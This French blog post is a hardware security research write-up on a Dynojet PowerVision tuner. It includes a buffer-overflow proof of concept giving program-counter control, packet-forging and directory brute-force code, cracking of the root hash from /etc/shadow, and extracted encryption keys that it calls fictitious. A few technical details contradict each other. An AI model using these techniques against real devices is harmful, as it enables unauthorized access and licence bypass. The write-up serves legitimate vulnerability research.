NOTE : Toutes les clés de chiffrement et mots de passe présentés ici sont fictifs et ont été inventés pour la rédaction de cet article.
Dans la partie précédente, nous avions réussi à télécharger l'intégralité du firmware non chiffré depuis la connexion console. Il est maintenant temps de vous montrer ce que nous en avons fait.
TLDR
- Buffer overflow dans un protocole propriétaire d'échange de fichiers : contrôle du Program Counter, mais difficulté à atteindre une exécution de code en raison de la validation des entrées
- Fonction d'exécution de commandes laissée dans le code, vraisemblablement à des fins de debug
- Découverte des clés de chiffrement du firmware, des clés de chiffrement des logs et du mot de passe root
Trouver un Buffer Overflow
Le protocole Filex est le nom du protocole propriétaire utilisé sur le port USB Link. Les outils Windows présentés dans la partie précédente utilisent la bibliothèque partagée PVLink.dll. Elle expose plusieurs fonctions, et chacune d'entre elles correspond à une séquence spécifique de messages Filex. On peut capturer ces messages Filex en utilisant USBPcap :
Dans la DLL PVLink.dll, on peut lister les fonctions responsables de l'envoi de ces messages :
Il nous fallait choisir un candidat pour l'exploration, nous avons donc commencé par nous concentrer sur la fonction PVReadFile.
PVReadFile
Voici le prototype de PVReadFile :
int *pvreadfile(char* filepath, char* destination_buffer, unsigned int size, int* pointer_to_mode);
Le filepath doit être une chaîne de la forme : dossier:nom_de_fichier, et l'entier mode n'a probablement rien à voir avec un mode de lecture réel (r, w) — nous avons simplement supposé qu'il était lié et l'avons codé en dur à la même valeur observée dans les captures Wireshark.
Cette fonction utilise la séquence de messages Filex suivante :
- hello : récupérer le numéro de série du PowerVision
- file_info : obtenir la taille du fichier cible
- open_handle : créer un descripteur de fichier local pointant vers le fichier ciblé
- read_handle : lire depuis le handle précédemment créé
- close_handle : auto-explicatif
(NB : la liste complète des fonctions disponibles est ici.)
Nous avons tenté de fuzzer à la fois le dossier et le nom de fichier avec différents patterns d'attaque (traversée de répertoire, encodages...) jusqu'à observer quelque chose d'intéressant. L'appareil crashait si le paramètre nom de fichier, seconde partie du paramètre filepath, contenait plus de 171 caractères. Nous cherchions un buffer overflow, et nous en avons définitivement trouvé un.
Analyse du Buffer Overflow
Nous avions un crash, il nous fallait maintenant savoir s'il était exploitable. Heureusement, nous pouvions reverser le firmware obtenu précédemment. L'origine du SIGSEGV se trouve dans une fonction nommée CLEAN_PATH, qui, ironie du sort, avait été conçue pour restreindre l'accès non autorisé au système de fichiers et donc aider à sécuriser l'appareil.
Elle vérifie la présence des caractères \, / et .. et s'arrête si elle en rencontre. Elle compare ensuite le nom du dossier (la chaîne avant le :) contre une liste blanche de dossiers autorisés :
uint sanitize_path(int param_1, char *log_msg, int size, byte *param_path, int len, undefined *param_6)
{
byte bVar1;
char *path_colon;
char *pcVar2;
int iVar3;
uint uVar4;
uint counter;
char filename [127];
char parsed_path [20];
*param_6 = 1;
if (len < size) {
counter = (uint)(0 < len);
if (len < 1) {
LAB_0000b5d0:
log_msg[counter] = '\0';
path_colon = strchr(log_msg, 0x3a);
if (path_colon == (char *)0x0) {
bVar1 = *(byte *)(param_1 + 4);
if (bVar1 == 0) {
log("CLEAN_PATH: Denying access to \'%s\'\n", log_msg);
return (uint)bVar1;
}
log("CLEAN_PATH: Allowing access to \'%s\'\n", log_msg);
*param_6 = 0;
return 1;
}
pcVar2 = strchr(log_msg, 0x5c);
if ((pcVar2 != (char *)0x0) || (pcVar2 = strchr(log_msg, 0x2f), pcVar2 != (char *)0x0)) {
log("CLEAN_PATH: Slashes not allowed\n");
return 0;
}
pcVar2 = strstr(log_msg, "..");
if (pcVar2 != (char *)0x0) {
log("CLEAN_PATH: \'..\' not allowed\n");
return 0;
}
On peut observer les sauts conditionnels recherchant les caractères :
0x3A: délimiteur dossier/nom de fichier0x5C,0x2F: antislash et slash0x2E2E: répertoire parent pour les systèmes Unix
puis interrompre l'exécution si les chaînes contiennent l'un de ces caractères. Ce n'est pas une application web, donc HTML, Base64, ou tout type d'encodage sera traité comme une chaîne brute.
Ensuite, la fonction copie le nom du dossier et le nom du fichier dans des variables locales en utilisant strcpy :
if (path_colon + -(int)log_msg < (char *)0x10) {
*path_colon = '\0';
strcpy(parsed_path, log_msg);
strcpy(filename, path_colon + 1);
Ce if vérifie la longueur du nom de dossier, qui est censé faire moins de 16 octets, il est donc protégé. Cependant, le second strcpy ne vérifie pas la longueur du nom de fichier ! Et d'après le cadre de pile de Ghidra, il y a 127 octets pour le buffer du nom de fichier. Le buffer overflow se produit ici.
Il nous faut maintenant mettre en place le débogage pour voir si on peut exploiter cette vulnérabilité.
Émulation du firmware
Dans un premier temps, nous avons tenté de lancer un shell GDB directement sur l'appareil PowerVision. Étant donné qu'il s'agit d'un noyau en version 2.6.36, trouver un GDB précompilé statiquement qui ne retourne pas une erreur Kernel too old est quasiment impossible. Nous avons envisagé de lancer un Ubuntu ARM 2.6.36 et de compiler GDB statiquement nous-mêmes, mais cela semblait plus long. À la place, nous avons opté pour l'émulation du firmware.
squashfs-root/gui/
├── arm7
│ ├── BobcatArm7-00.01.06.dde
│ └── bootloaderBobcat-00.01.02.dde
├── BobcatApp-arm
├── bobcat.ddskin
├── Bobcat-default.config
├── filex-server-arm
├── fx
├── harley.dbx
├── PVConditions-BigTwin.pvt
├── PVConditions-Street.pvt
├── PVConditions-VRod.pvt
├── splash
│ └── title_pv.tga
└── updaters
├── update.PVFIRMWARE1
├── update.PVGUI1
├── update.PVSKIN1
└── update.PVTUNEDB1
Dans la partie précédente, nous avions téléchargé le firmware via les blocs UBI en utilisant le shell de recovery. L'arborescence ci-dessus est un sous-ensemble des fichiers trouvés dans la partie lecture seule du firmware. Les deux binaires les plus importants sont filex-server-arm, qui gère principalement le protocole Filex sur le lien USB, et BobcatApp-arm qui contient toute la logique Dynojet pour les réglages moto, les licences et les logs.
Nous avons lancé l'outil Linux hardening-check sur nos binaires du firmware :
filex_patch:
Position Independent Executable: no, normal executable!
Stack protected: no, not found!
Fortify Source functions: no, only unprotected functions found!
Read-only relocations: no, not found!
Immediate binding: no, not found!
Stack clash protection: unknown, no -fstack-clash-protection instructions found
Control flow integrity: no, not found!
Évidemment, sur un vieux Linux 2.6.36, c'était attendu.
Nous avons utilisé la commande suivante pour exécuter localement le binaire filex-server-arm :
$ qemu-arm -g 1234 -L squashfs-root/ filex-server-arm -V -s PHONYSERIALNUMBER
Le serveur GDB écoute sur localhost:1234, le répertoire squashfs-root/lib contient toutes les bibliothèques partagées nécessaires, et nous connaissons les arguments attendus grâce au reverse de la fonction main.
Maintenant que le binaire ARM tourne en arrière-plan, nous pouvons le déboguer avec gdb-multiarch. Le processus lira les messages Filex depuis /dev/ttyGS0, nous avons donc créé un pipe nommé :
$ mknod squashfs-root/dev/ttyGS0 p
Et pendant le débogage dans GDB, on peut envoyer nos paquets de 171+ octets précédemment forgés :
$ python filex_fuzzer.py > squashfs-root/dev/ttyGS0
Voici un code d'exploit rapide :
def build_path_exploit():
op = FilexMsg()
data = "updates:" + "A" * 175
op.gen(16, 1, 1, 13, len(data), data)
chk = op.do_checksum()
pkt = op.dump_hex().decode('hex')
return pkt
Les 171 premiers octets servent à atteindre le registre PC, puis on peut écrire notre pointeur 32 bits dans les emplacements suivants. Le payload total fait 175 octets.
On obtient :
On voit clairement que nous contrôlons le registre Program Counter, ce qui signifie que nous pouvons modifier le flux d'exécution pour faire quelque chose de plus intéressant qu'un SIGSEGV.
Nous rencontrons cependant un dernier problème : il y a une vérification du charset sur ce qui entre dans le buffer filename. Si la valeur d'un caractère n'est pas comprise entre 0x20 et 0x7F, la fonction entrera dans un cas d'erreur et le buffer ne sera pas copié. C'est dommage car nous avons le candidat parfait pour un pointeur : la fonction CFILE_DO_COMMAND ! (Voir Focus sur le protocole Filex.) Le problème est que son adresse contient des valeurs hexadécimales supérieures à 0x7F, et même la pile est chargée à des adresses impossibles à écrire dans le buffer.
Difficulté d'exploitation du Buffer Overflow
Bien que le buffer overflow existe, nous n'avons pas encore identifié de moyen d'exécuter du code à partir de celui-ci. Nous sommes ouverts aux suggestions si vous avez des idées, n'hésitez pas à nous les soumettre.
Jusqu'ici, nous avons essayé :
- Sauter vers le .text : le code commence autour de
0x9d18, donc le premier octet est déjà supérieur à0x7F - Sauter vers la pile : les adresses sont autour de
0xfffe...donc même problème
Focus sur le protocole Filex
Plus tôt, nous avions mentionné le protocole Filex comme la logique sous-jacente des fonctions de PVLink.dll. Nous avions besoin d'en savoir plus. Spécifiquement, quels types d'opérations étaient disponibles. J'insiste sur cette partie, car l'expérience m'a montré que lorsqu'une API ou un service expose plusieurs types d'opérations, il n'est pas rare de trouver :
- Des fonctions plus vulnérables que d'autres pour des « raisons historiques »
- Des portes dérobées délibérément laissées ouvertes à des fins de debug/maintenance
Nous étions maintenant à la recherche de l'une d'entre elles. Continuons donc avec le reverse engineering du protocole !
Structure des paquets Filex
Un paquet simple ressemble à ceci :
On remarque les délimiteurs (0xF0) et une sorte d'en-têtes en little-endian.
Ici, dans un autre exemple, on peut voir une fonction différente. Celle-ci est systématiquement appelée avant toute lecture, car elle retourne la taille du fichier, utilisée ensuite par la fonction de lecture.
Après quelques captures Wireshark, nous avons commencé à comprendre la structure des messages binaires. Voici le parsing du message DELETE-FILE :
En passant quelques détails ennuyeux, voici la structure Kaitai complète :
seq:
- id: start_byte
size: 1
contents: [0xf0]
- id: type
type: s4
enum: type_value
- id: param1
type: s4
- id: param2
type: s4
- id: datalen
type: s4
- id: seq
type: s4
- id: data
size: datalen
type: strz
encoding: ASCII
- id: checksum
type: u1
- id: end_byte
size: 1
contents: [0xf0]
La structure Kaitai est assez simple, il n'y a pas de données imbriquées :
- Délimiteurs :
0xF0(début et fin) - En-têtes : 5 entiers (32 bits) en Little Endian pour les types de fonctions, paramètres, longueur des données et un numéro de séquence
- Données
- Checksum : 1 octet
La seule chose dont nous avons besoin pour forger des paquets est l'algorithme de génération de checksums valides, sinon ils seront rejetés par le filex-server. Nous n'avons pas besoin du firmware pour cela, car PVLink.dll est elle-même capable de forger des paquets corrects.
L'algorithme est assez simple :
- Une boucle parcourt tous les octets du paquet jusqu'à l'offset du checksum et les additionne dans un registre d'un octet
- XOR avec
0xFF - Si la valeur du checksum est
0xF0, il y a conflit avec le délimiteur de fin de paquet, et le checksum est remplacé par0xDB 0xDC
Passons à la forge de paquets !
Nous pouvons maintenant itérer sur toutes les valeurs d'index de fonction possibles, et lorsque nous atteignons l'index 0x16, nous recevons un résultat très intéressant du PowerVision :
Invalid cmd string
Bonne nouvelle pour nous. Il est assez courant de voir des fonctionnalités développeur laissées dans des produits comme celui-ci. Souvent, les développeurs ont besoin d'un accès rapide au shell à des fins de débogage. Mais après de nombreuses tentatives, je n'ai pas réussi à exécuter la moindre commande. Quelque chose n'allait pas. Des mois plus tard, lorsque j'ai mis la main sur le firmware, j'ai pu reverser la fonction censée exécuter la commande shell :
size_t __fastcall shell_cmd(int a1, int a2, const char *a3)
{
if ( data_len < 1024 )
{
if ( data_len <= 0 )
{
v11 = *(_DWORD *)(v3 + 4);
v12 = *(_DWORD *)(v3 + 8);
*(_BYTE *)v6 = 0;
result = log("TODO: shellcmd %d %u %s\n", v11, v12, &v14);
*((_DWORD *)v5 + 1) = 0;
return result;
}
...
Comment ça, TODO ???
Il semble que la fonction soit en réalité implémentée, car on peut voir un appel à system sans aucune référence croisée :
Mon hypothèse est qu'ils n'ont jamais changé le message de log contenant le TODO, mais que CFILE_DO_COMMAND existe bien dans le code. Ils ont probablement simplement retiré son appel de la version de production.
Une fois le firmware obtenu (voir Partie 1), nous avons pu avoir une bien meilleure vision des messages Filex disponibles :
enums:
type_value:
1: hello
4: getinfo
5: open_handle
6: close_handle
7: delete_file
8: mkdir
10: read_file
11: write_file
12: flush_handle
13: open_dir
14: read_dir
15: close_dir
16: file_info
17: shell_cmd
18: shutdown
2: getseed
3: sendkey
9: filesync
Nous avions atteint notre objectif : cartographier tous les messages Filex possibles !
Brute force des répertoires
Nous avons tenté de cartographier le système de fichiers en utilisant les fonctions directement disponibles dans la DLL. (Il s'agit d'une approche boîte noire que nous avons dû utiliser avant de pouvoir obtenir le firmware.)
L'avantage des DLL, c'est qu'elles exportent les symboles même si elles sont strippées.
Nous avons utilisé la fonction PVReadDir pour parcourir les répertoires disponibles :
int *pvreaddir(char* filepath, char* destination_buffer, int mode, int* integer_parameter);
Le prototype est très similaire à celui de PVReadFile utilisé plus tôt. Cependant, il est un peu plus difficile de lire son résultat car il faut reverse-engineerer la structure retournée. Voici le code qui énumère les répertoires en utilisant un dictionnaire et PVReadDir :
#include <stdlib.h>
#include <strings.h>
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <dirent.h>
typedef int (*pvreadfile)(char*, char*, unsigned int, int*);
typedef int (*pvreaddir)(char*, char*, int, int*);
typedef int (*pvgetsize)(char*, int*);
char *type(int t) {
switch(t) {
case 4: return "FOLDER: ";
case 8: return "FILE: ";
default: return "UNK: ";
}
}
void read_dir(char *file) {
HMODULE hModule = LoadLibrary("PVLink.dll");
pvreaddir readdir = (pvreaddir) GetProcAddress(hModule, "PVReadDir");
char *dest = malloc(2048 * sizeof(char));
int mode = 0x400;
int parm = 0;
int res = readdir(file, dest, mode, &parm);
for (int i = 0; i <= parm; i++) {
printf("%s%s\n", type(*dest), dest + 4);
dest += 132;
}
free(dest);
}
void brute_dir() {
HMODULE hModule = LoadLibrary("PVLink.dll");
pvreaddir readdir = (pvreaddir) GetProcAddress(hModule, "PVReadDir");
char *dest = malloc(2048 * sizeof(char));
int mode = 0x400;
int parm = 0;
FILE* dlist = fopen("directory_list.txt", "r");
char line[256];
while (fgets(line, sizeof(line), dlist)) {
strtok(line, "\n");
strcat(line, ":");
int res = readdir(line, dest, mode, &parm);
if (res != 1009) {
printf("Read status=%d\nDirname=%s\n", res, line);
}
}
free(dest);
fclose(dlist);
}
int main(int argc, char **argv) {
read_dir("params:soap_resp");
brute_dir();
return 0;
}
Rien d'exotique ici, nous avons simplement :
- Chargé le fichier DLL avec la fonction LoadLibrary
- Localisé la fonction à exécuter avec le nom de la fonction et GetProcAddress
- Configuré les paramètres pour être approximativement les mêmes que ceux observés dans les captures USBPcap (sauf ceux que nous voulions contrôler)
- Exécuté l'appel
- Parsé la structure retournée
On peut faire la même chose plus simplement en Python :
from ctypes import *
def read_dir(path):
pvlink = CDLL("./PVLink.dll")
readdir = pvlink.PVReadDir
nbfolders = c_int(0)
mode = 0x400
res = readdir(path, byref(dest), mode, byref(nbfolders))
return res
Ce fuzzing/bruteforcing nous a donné des informations intéressantes. Nous avons découvert les répertoires suivants :
- updates : redirige en réalité vers la racine des dossiers accessibles
- params : seulement deux fichiers — soap_req et soap_resp — utilisés pour interroger une API SOAP via le port USB Link
- stock_bins : contient les fichiers de réglage
- logs : vous pouvez deviner ce qu'il y a dedans
Le plus intéressant ici serait le dossier updates, car il contient quelque chose que nous cherchions avec impatience : le dossier des licences. Le problème est qu'avec le protocole Filex, il est impossible de lire dans des sous-dossiers imbriqués, et les fichiers que nous voulons ne peuvent être lus qu'avec le pattern : updates:licenses:license_file.txt. Cependant, dans la prochaine partie, nous montrons comment nous avons obtenu un bon moyen de lire où nous le souhaitons.
Looting
Mot de passe root
Puisque nous pouvons récupérer le fichier /etc/shadow, nous avons lancé hashcat pour obtenir le mot de passe root de l'appareil :
$ hashcat -a 3 -m 500 squashfs-root/etc/shadow ?l?l?l?l?l?l
hashcat (v6.1.1) starting...
Hashes: 1 digests; 1 unique digests, 1 unique salts
$1$SALT$HASH:PASS
Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Time.Started.....: Tue Jan 19 10:53:35 2021 (6 secs)
Time.Estimated...: Tue Jan 19 10:53:41 2021 (0 secs)
Guess.Mask.......: ?l?l?l?l [4]
Speed.#1.........: 34393 H/s (5.26ms)
Recovered........: 1/1 (100.00%) Digests
Après avoir essayé l'intégralité de rockyou.txt sans succès, nous avons tenté différentes attaques par masque, et obtenu un résultat très intéressant : nous avons trouvé un mot de passe correspondant composé de seulement quelques lettres minuscules. Vu la quantité de protections en place, nous avons été plutôt surpris de trouver un mot de passe root correspondant aussi facilement. Peut-être une collision MD5 ?
Quoi qu'il en soit, grâce à cela, nous n'avons plus besoin de passer par tout le processus U-Boot/Recovery pour obtenir un shell. Nous pouvons désormais nous connecter directement via le port UART Debug interne :
ROMBoot
Welcome to bobcat
bobcat login: root
password:
# id
uid=0(root) gid=0(root)
# hellyeah
Clés de chiffrement
Après avoir obtenu le shell root, nous voulions trouver notre Saint Graal : le mot de passe de chiffrement du PVU_FILE. En cherchant les appels OpenSSL dans le squashfs-root, nous avons trouvé la fonction suivante dans le binaire Bobcat-app-arm :
memcpy(file, "/tmp/PVU_FILE", 0xe);
memcpy(password, &firm_key, 0x20);
local_1a0 = 0;
sprintf(cmd_buffer,
"unzip -p \'%s\' PVU_FILE | openssl enc -d -aes-256-cbc -salt -out %s -pass pass:",
archive_name, file);
strcat(cmd_buffer, password);
system(cmd_buffer, 0);
cfile_sync();
iVar3 = check_firmware_file(file);
if (iVar3 == 0) {
memcpy(err_file, "Missing package contents", 0x19);
return 0;
}
Notre mot de passe est une clé AES-256-CBC de 32 octets. Mais en lisant le code ci-dessus, nous avons réalisé que le mot de passe pourrait provenir de l'un des fichiers .dbx.
$ binwalk -E harley.dbx
Ces fichiers ont clairement l'air chiffrés. Mais au lieu de jouer au chat et à la souris avec les clés crypto, cette fois nous avons eu de la chance. La partie ubifs du firmware (lecture/écriture) contient des fichiers de log :
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_DELETE: Deleting '/tmp/PVU_TYPE'
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_DELETE: Deleting '/tmp/PVU_CERT'
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_DELETE: Deleting '/tmp/PVU_FILE'
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_SYNC: Performing sync...
Dec 31 17:12:22 bobcat user.info BobcatApp: CFILE_SYNC: Sync done.
Dec 31 17:12:34 bobcat user.info BobcatApp: CFILE_DO_COMMAND: unzip -p
'/flash/storage/PV_TUNEDB-0.0.10.09.pvu' PVU_FILE |
openssl enc -d -aes-256-cbc -salt -out /tmp/PVU_FILE
-pass pass:F6678H9Z9U8A7DHZDYCCUXH9SH2
Dec 31 17:13:15 bobcat user.info BobcatApp: CFILE_DO_COMMAND: Returned 0
Magnifique ! Nous avons trouvé le Saint Graal.
Je me suis demandé quel était l'intérêt de passer par autant de couches d'obfuscation pour finalement laisser les clés de chiffrement en clair dans les fichiers de log...
Eh bien, ces fichiers de log sont censés être chiffrés :
void encrypt_logs(undefined4 param_1)
{
size_t sVar1;
uint uVar2;
char acStack1040 [1028];
sprintf(acStack1040,
"logread | openssl enc -aes-256-cbc -a -salt -out %s", param_1);
sVar1 = strlen(acStack1040);
acStack1040[sVar1 + 7] = 'p';
acStack1040[sVar1 + 8] = acStack1040[sVar1 + 7] + -0xdf;
acStack1040[sVar1 + 0xd] = acStack1040[sVar1 + 8] + '\xaa';
acStack1040[sVar1 + 0x10] = acStack1040[sVar1 + 7] + -0x7c;
// ... plus d'obfuscation ...
log("Executing system command: %s\n", acStack1040);
system(acStack1040);
sync();
return;
}
La fonction génère un mot de passe avec diverses additions, soustractions et permutations. Trouver le mot de passe ici est juste une question de minutes, tout comme le serait le déchiffrement des fichiers de log. L'obfuscation est assez faible. Mais ce n'est pas le meilleur. Les fichiers de log originaux ne sont pas supprimés après avoir été chiffrés. Ce qui est probablement la raison pour laquelle on peut trouver les clés de chiffrement des mises à jour firmware en clair.
Conclusion
Nous avons pris beaucoup de plaisir à faire tout cela, mais nous aimerions explorer encore quelques points mystérieux avant d'en rester là :
- Bases de données chiffrées : comment les déchiffrer
- Forger des firmwares et les écrire : soit en écrivant directement sur les périphériques UBI/MTD, soit en forgeant des mises à jour et en contournant le contrôle d'intégrité
- Contournement de licence : déverrouillage VIN en patchant le firmware ou en remplaçant les clés de signature de licence
C'était un long article, merci d'être restés jusqu'à la fin et restez classe, amateurs de cybersécurité !
Références
Annexe — Kaitai Struct pour les messages Filex
from pkg_resources import parse_version
import kaitaistruct
from kaitaistruct import KaitaiStruct, KaitaiStream, BytesIO
from enum import Enum
import struct
M8 = 0xff
M32 = 0xffffffff
def m32(n):
return n & M32
def madd(a, b):
return m32(a + b)
def int322le(val):
return struct.pack('<I', val)
class FilexMsg(KaitaiStruct):
class TypeValue(Enum):
hello = 1
getseed = 2
sendkey = 3
getinfo = 4
open_handle = 5
close_handle = 6
delete_file = 7
mkdir = 8
filesync = 9
read_file = 10
write_file = 11
flush_handle = 12
open_dir = 13
read_dir = 14
close_dir = 15
file_info = 16
shell_cmd = 17
shutdown = 18
def __init__(self, _parent=None, _root=None):
self._parent = _parent
self._root = _root if _root else self
def gen(self, type_int, param1, param2, seqnum, length, data):
self.start_byte = b"\xF0"
self.type = type_int
self.param1 = param1
self.param2 = param2
self.datalen = length
self.seq = seqnum
self.data = data
self.checksum = 0
self.end_byte = b"\xF0"
def do_checksum(self):
a = self.dump_hex().decode('hex')[1:-2]
chk = 0
for e in a:
chk += int("0x" + e.encode('hex'), 16)
chk = chk & M8
res = (chk ^ 0xFF) & M8
res = madd(res, 1) & M8
if res == 0xF0:
return 0xD0B0
self.checksum = res
return res & M8
PowerVision Partie 2 — Restez classe, amateurs de cybersécurité !
Besoin d'un audit de sécurité ou d'un accompagnement sur mesure ?
Découvrir nos services →